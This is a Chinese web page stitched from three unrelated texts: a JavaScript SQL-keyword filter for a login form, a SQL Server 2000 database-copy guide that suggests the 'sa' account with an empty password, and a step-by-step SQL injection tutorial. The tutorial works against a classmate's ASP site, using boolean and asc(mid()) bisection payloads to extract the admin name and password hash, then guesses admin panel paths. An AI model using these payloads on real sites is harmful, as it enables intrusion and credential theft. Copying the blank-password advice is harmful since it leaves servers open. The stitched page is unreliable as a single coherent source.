看到了一段防止SQL注入的JavaScript代码,但是似乎在后台解决的话会更好。

[php]
<SCRIPT language="JavaScript">
function Check(theform)
{
if (theform.UserName.value=="")
{
alert("请输入用户名!")
theform.UserName.focus();
return (false);
}
if (theform.Password.value == "")
{
alert("请输入密码!");
theform.Password.focus();
return (false);
}
}
function IsValid( oField )
{
re= /select|update|delete|exec|count|‘|"|=|;|>|<|%/i;
$sMsg = "请您不要在参数中输入特殊字符和SQL关键字!"
if ( re.test(oField.value) )
{
alert( $sMsg );
oField.value = ‘‘;
oField.focus();
return false;
}
}
</SCRIPT>

<input name="UserName" type="text" maxlength="20" id="UserName" onblur="IsValid(this);" style="width:125px;" />
<input name="Password" type="password" maxlength="20" id="Password" onblur="IsValid(this);" style="width:125px;" />
[/php]

很多企业用户都拥有多台SQL Server 2000服务器,为了使多台数据库服务器上的数据保持一致,我们可以将一台数据库服务器中的某个数据库移动到另外的数据库服务器中。

  下面以两台SQL Server 2000服务器为例(分别用A和B表示),介绍具体操作过程。

  1、前期准备

  首先确保这两台安装了SQL Server 2000服务器的计算机可以互相访问,并且操作者有管理员权限。假设数据库jk只在A中存在,而B中没有此数据库。然后确定两台计算机在一个域中,或者域之间有信任关系。

  提示:如果上面两个条件一个都不能满足,就需要进行如下操作:在“企业管理器”中右击数据库项,选择“属性”,进入“安全性”选项卡,勾选“身份验证”栏中的“SQL Server 和Windows”项。否则sa账号将无法使用。

  2、选择数据源

  在A中右击数据库jk,选择“所有任务→导出数据”,在出现的向导窗口中点击“下一步”,进入“选择数据源”窗口。由于在本文中数据库是在A中,所以我们保持默认设置。

  3、选择目的

  点击“下一步”,进入“选择目的”窗口。在“服务器”栏中选择B的服务器名,由于本文是在B中没有jk数据库的情况下进行操作的,所以我们必 须在“数据库”栏中选择“新建”,在出现的窗口(图1)中输入数据库名jk(也可以自由选取)。然后勾选“使用SQL Server身份验证”项,并输入管理员账号和密码。如果没有配置管理员账号,也可以输入用户名sa,密码为空。

看原大图
图 1

  4、选择复制方式

  在出现的数据库复制选项中有3个选择项(图2),下面分别说明。

看原大图
图 2

  ① “从源数据库复制表和视图”:将A数据库的表和视图导入到B数据库中,而存储过程等不会被导入。

  ② “用一条查询指定要传输的数据”:这时点击“下一步”后将显示“键入 SQL 语句”对话框,输入SQL 语句,则只有符合条件的记录才可导入到B的数据库中。

  ③“在 SQL Server 数据库之间复制对象和数据”:这时点击“下一步”后将显示“选择要传输的对象”对话框,如果数据的源和目的都是Microsoft SQL Server 数据库,则在此对话框中可以指定要复制的对象和数据。可传输的对象包括表、视图、存储过程、默认值、规则、约束、用户定义的数据类型、登录、用户、角色和 索引等。

  在这里我们选择最后一项,因为本文的目的是保持整个数据库一致。

  5、运行

  点击“下一步”,勾选所有的复选框,并在“复制数据”栏中勾选“替换现有的数据”项,点击“下一步”,勾选“立即运行”,再点击“下一步”,最后单击“完成”就可以将A中的jk数据库导入到B中。

  优点:用本文的方法我们可以使位于不同地点的数据库服务器中的数据集中在一处,便于集中管理和维护;如果某个数据库出现问题,我们可以很快将它恢复原状。

如果你已经掌握了SQL注入漏洞的一些相关的基础知识,那是不是觉得看了理论有一种想急于知道如何实际动手操作的冲动,好吧,Let’s go,这篇文章我们就来实战SQL注入,不过针对网站的数据库是ACCESS的,毕竟在国内都是用虚拟机,一般只有FTP上传权限,所以还是很有市场的。

  首先要注意的是,如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级= >显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

  1.入侵测试目标:

  前不久我们学校的一个同学做了个网站,做的还挺漂亮的,叫我去看下,我顺便对它进行了一次安全检测。文章发表前已经征得该同学的同意,请不要效仿。下面的真实网址已经被我屏蔽。

  测试网站:http://www.xxx.com/index.asp

  2.寻找可能的SQL注入点

  我们知道,一般的文章管理系统,下载系统,论坛,留言本,相册等都会有个show.asp?id= list.asp?id= news.asp?id= 什么的,其实一看就知道是调用SQL语句查询数据库并显示出来。我们不难发现这个站的新闻系统就是show.asp?id=的形式,随便点一个链接得到地 址如下:

  http://www.xxx.com/show.asp?id=474

  从这个地址就知道是通过show.asp执行SQL语句访问数据库,可想而知,SQL语句原貌大致如下:

  select * from 表名 where 字段=xx,如果这个show.asp对后面的id整型参数过滤好的话,就可能存在SQL注入漏洞。

  3.判断SQL注入是否存在

  通过上面的分析知道,要判断有没有SQL注入漏洞,就得看show.asp有没对参数过滤好,所以可以用以下步骤测试SQL注入是否存在。

  a.最简单的判断方法

  在要检测的网址后面加一个单引号:http://www.xxx.com /show.asp?id=474’

  此时show.asp中的SQL语句变成了:select * from 表名 where 字段=xx’,如果程序没有过滤好“’”的话,就会提示 show.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:

  第一:不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

  第二:由于以前存在过的1’ or ‘1’=’1漏洞,所以目前大多数程序员已经将“’“ 过滤掉,所以用" ‘"测试不到注入点,所以一般使用经典的1=1和1=2测试方法,如下:

  http://www.xxx.com /show.asp?id=474 and 1=1, show.asp运行正常,而且与http://www.xxx.com /show.asp?id=474运行结果相同,如图1:

看原大图

  http://ww.xxx.com /show.asp?id=474 and 1=2, show.asp运行异常,(这就是经典的 1=1 1=2 判断方法)如图2:

看原大图

  这里很明显当加 and 1=1 的时候返回完全正常的页面,加 and 1=2 显示:暂时还没有文章!

  到这里基本上可以断定他存在SQL注入,至于能不能注出账号密码来,还需要更进一步的注入测试,这里只能得到SQL注入点: http://www.xxx.com/show.asp?id=474

  4.判断表是否存在

  国内的一般程序员在设计数据库的时候都会用一些特定的做为表名,字段名什么的。比如说后台管理员一般放在表admin里面,而注册的用户放在表users里,当然,只是一般,依照各程序的不同而不同。

  这个站是我同学自己写的,我还是先判断管理员表admin是否存在,在后面加上语句:and exists (select * from admin)变成http://www.xxx.com/show.asp?id=474 and exists (select * from admin)提交访问后返回的页面如图3:

看原大图

  这就说明我猜的admin表名不存在,继续猜另外的名字,这里可以参考国内常见的程序的表名,比如:admin user vote manage users 会员 用户 管理员 admin_admin userinfo bbs news system等,这个站我最后猜到的是:users,语句:and exists (select * from users)。

  5.进一步判断表里的字段是否存在

  判断字段id 是否存在,这个一般都有,自动编号。如果存在了顺便猜一下管理员的id值。

  判断存在语句:and exists(select id from users)

  判断编号语句:and exists(select id from users where id=1)

  一般管理员账号密码放在第一位,也就是id=1,如果不是就猜下去,猜id=2 猜id=3等啦。

  由于这个站是自己写的代码,所以会有点不同,当判断是否不过你可以猜到他的对应的可能是userid,因为他表名取做user呀,把上面的id改为userid就返回了正常的页面,如图4:

看原大图

  至于这个userid值为多少,同样猜,and exists(select userid where userid=1)改变1这个数字,一直猜到页面显示正常为止。这里我猜到的是userid=11,如图5:

看原大图

  最后猜出这个继续猜出其它的字段,用户名字段最后为username,密码字段为userpwd,用到的语句分别为:and exists (select username from users)和and exists (select userpwd from users),这里就不抓图了。

  6.再进一步判断账号和密码的长度

  这里我说一下常用的方法,判断的时候大于小于一起用嘛,学过数据结构的人都知道有二分法,我这里也引用一下,比如说你判断 >4 而又判断<12 那我接下来就取中间的看是大于8还是小于8,如果是大于8则说明在8到12之间,如果是小于8说明在4到8之间,再接着用二分法判断下去。。。。。。当然 由于账号密码一般人不会太长,所以在这里二分法的优势体现的不够明显,不过到下面猜账号密码字符的时候就能明显感受到了。

  首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是

  and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6:

看原大图

  再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。

  到此,我们得到的信息如下:

  账号username长度:4

  密码userpwd长度:16

  7.猜解账号密码字符

  在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。

  格式:mid(字符串,开始位置,子串长度)

  比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y

  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断 username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面 加上如下的语句:

  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:

  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常

  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765

  and 11=(select userid from users where asc(mid(username,1,1))= -19765)

  ASCII码为-19765对应的字符就是:菜

  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:

看原大图

  对应字符为:鸟

  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:

  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。

  接着猜密码,依然二分法,就不抓图了:

  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)

  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)

  最后得到的为:48 对应的字符就是0

  依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。

  8.后台的猜解

  经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也 是最为关键的一步:寻找网站管理后台。像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命 名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一个一个的访问,结果嘛,我只能说靠运气加上你的经验了。以这个站为例,前面那些登录的我一个也没猜 到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自 动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗,如图8:

看原大图

  有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!